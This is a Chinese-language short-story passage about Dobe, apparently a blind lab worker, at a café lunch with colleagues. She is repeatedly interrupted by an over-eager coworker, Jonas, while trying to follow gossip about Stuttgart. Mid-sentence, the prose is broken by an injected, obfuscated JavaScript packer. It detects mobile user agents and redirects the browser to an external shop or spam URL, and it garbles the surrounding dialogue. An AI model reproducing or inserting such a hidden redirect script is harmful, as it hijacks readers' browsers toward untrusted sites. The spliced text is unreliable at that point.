“走了,”肩膀上搭了一只手,传来一阵牵引,卢卡的声音里带着一点“下班了”的放松,“朱利安已经订好餐了。” “我赌今天的午饭是肉糕三明治。”多贝抬手扇了扇,起到一个心理安慰的作用。 “这还用赌?” 咖啡馆里,冷气激得人打个哆嗦,所有人瘫在椅子上,近乎虔诚地感叹着空调的发明有多么伟大。空气里弥漫着深烘咖啡混合着黄油可颂的焦香,暖烘烘地和冷气搅合在一起。多贝深深吸了口气,咬了一口手里的三明治,试图用气味麻痹自己的味觉。和朱利安同组以来,多贝觉得自己已经把这辈子的肉糕三明治的份额都吃完了。 “朱利安,你就不能换点别的吗?”有人抱怨着,带着一股有气无力的绝望。 朱利安头也不抬:“可以,你去找教授批经费。” “……现在这样也挺好。” 工程组的同事们坐过来和她沟通上午的问题,“电梯那边是怎么回事?”萨拉在她旁边坐下,多贝掏出平板熟练地调出记录递给她。 “提示延迟太久了,很没安全感。可能得叫施工组过来排查一下。”她搅了搅杯子,冰块碰撞,发出悦耳的声响,“上次在实验室,我明明听见他们在说话,我去打招呼竟然没人理我!” 笑声散开混在一起,分不清是谁的,萨拉点了一下她的额头,手指凉凉的,“没办法,我们让他们加了好多班呢!” 多贝啃着自己面包,同事们细碎的闲聊声伴着咖啡馆里舒缓的音乐,阳光透过玻璃照下来,晒得一切都暖烘烘的,让人昏昏欲睡,咀嚼的速度越来越慢。 “下个月是不是得去做技术协调…” 多贝嚼嚼嚼,她喜欢今天的脆皮面包,外皮酥脆,咬下去发出“咔”的一声响;内层又被肉汁浸得微软,搭配着酸黄瓜和甜芥末酱,咸酸甜混在一起又层次分明,她又咬下一大口,脸颊被撑得鼓起来。 “LMU(慕尼黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368883|199126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学)那边最近在招募志愿者,听说他们已经…心理调研…” “但是落地能力…差了一点…” 多贝拿起椰汁,马克斯的手还没好,她多喝两口就算为他报仇。杯壁上挂满水珠,冰块晃悠悠地响着,椰子的清香在口腔里炸开,顺着喉咙一路滑下去,带来舒爽的凉意。 “我听说斯图加特想…” 斯图加特? 捕捉到这个熟悉的词,耳朵动了动,快要闭上的眼睛猛地睁开,飘走的意识被拽回身体,多贝向声音传来的方向探了过去。 “盲协那边说他们要办个宣传活动…” “不要脸,怎么还提前…” 多贝挪挪屁股,凑得更近了些。杯子被她推到一边,整个人倾过身去。 “是——” “嗨!中午好啊各位!” 刚刚准备出口的问询被一声招呼硬生生堵了回去。 是研发组的约纳斯,最近他们两组工作上的交接都是他负责,多贝吞下后半截话,抬抬手打了个招呼。 “你怎么又来了?研发组那边有任务?”朱利安拉过一把椅子递给他,笑着招呼约纳斯坐下。 “不是,我恰好路过。” “哦~恰好~”有人拖长了音调,意味深长地重复了一遍,“这周已经三次‘恰好’了吧!” 笑声响起来,约纳斯还在磕磕绊绊地解释着什么,多贝已经收回了注意力,既然不是和测试相关,就没必要再关注,她有更好奇的事。搬着椅子挤到刚刚闲聊的同事身边,多贝开口:“斯——” 一只手落在她的肩上拍了拍,带来一股香味:“我能坐你旁边吗,多贝?” 椅子在地上拖出的噪音有些刺耳,香水味残留在鼻尖,盖过了咖啡和可颂的味道,在午后的咖啡馆里显得有些过于厚重 “…当然,你随意。”都坐过来了还问什么问,多贝在心里叹了口气。 约纳斯在她旁边坐下,椅子挨得似乎有些近了,她能感觉到他胳膊的温度,香水味浓得发腻,多贝不适地向后靠了靠,拉开了一点距离。 “斯图——”她还想问得更清楚点,声音压低,像是怕再被打断。 “你们还想吃点什么吗?我请。”菜单被递到手边,边缘碰了碰她的手指,“多贝?” 连续三次被打断,多贝郁闷地嘀咕,约纳斯怎么这样,热情得过头了吧。 多贝深吸一口气,将菜单推回去,挤出一个笑:“不用了,谢谢。你问问其他人吧。” “真的不需要吗?不用和我客气。”对方似乎凑近了一点,香水味更加浓郁,熏得多贝快要喘不过气了。 她向后躲了躲,脊背贴上了椅子背,再次拒绝。 “好吧…”约纳斯的声音听起来有些遗憾,香水味终于淡去了一些,他拿回菜单,转头询问其他人。 悄悄喘口气,多贝揉了揉鼻子,使劲吸了一口咖啡的香气,试图把残留的香水味冲掉。 终于可以继续,她重新转头向还在聊着八卦的同事靠过去:“斯图加特——” “这周末你有什么安排吗,多贝?我这有两张音…” “不。”不要打扰我了!讨厌鬼! 大概是她的拒绝太过干脆,没有一点缓冲,气氛有一瞬间的凝滞。 多贝对着约纳斯的方向胡乱笑笑:“抱歉,约纳斯,这周末我有安排。” “但是我…好吧。那…也许下周?”他说的结结巴巴,声音里带着不知所措的慌张。 “抱歉,”多贝停了一下,声音里带着真诚的歉意,“我很遗憾。” 当多贝再次去听的时候,斯图加特这个话题已经成了过去式,他们的话题又回到了下个月的阶段汇报上。 多贝拿起杯子,杯壁上的水珠湿乎乎地黏了一手,冰块已经化掉,椰汁的甜味涌上来,腻得这个午后更加燥热。 多贝叹了一口气,她讨厌椰子。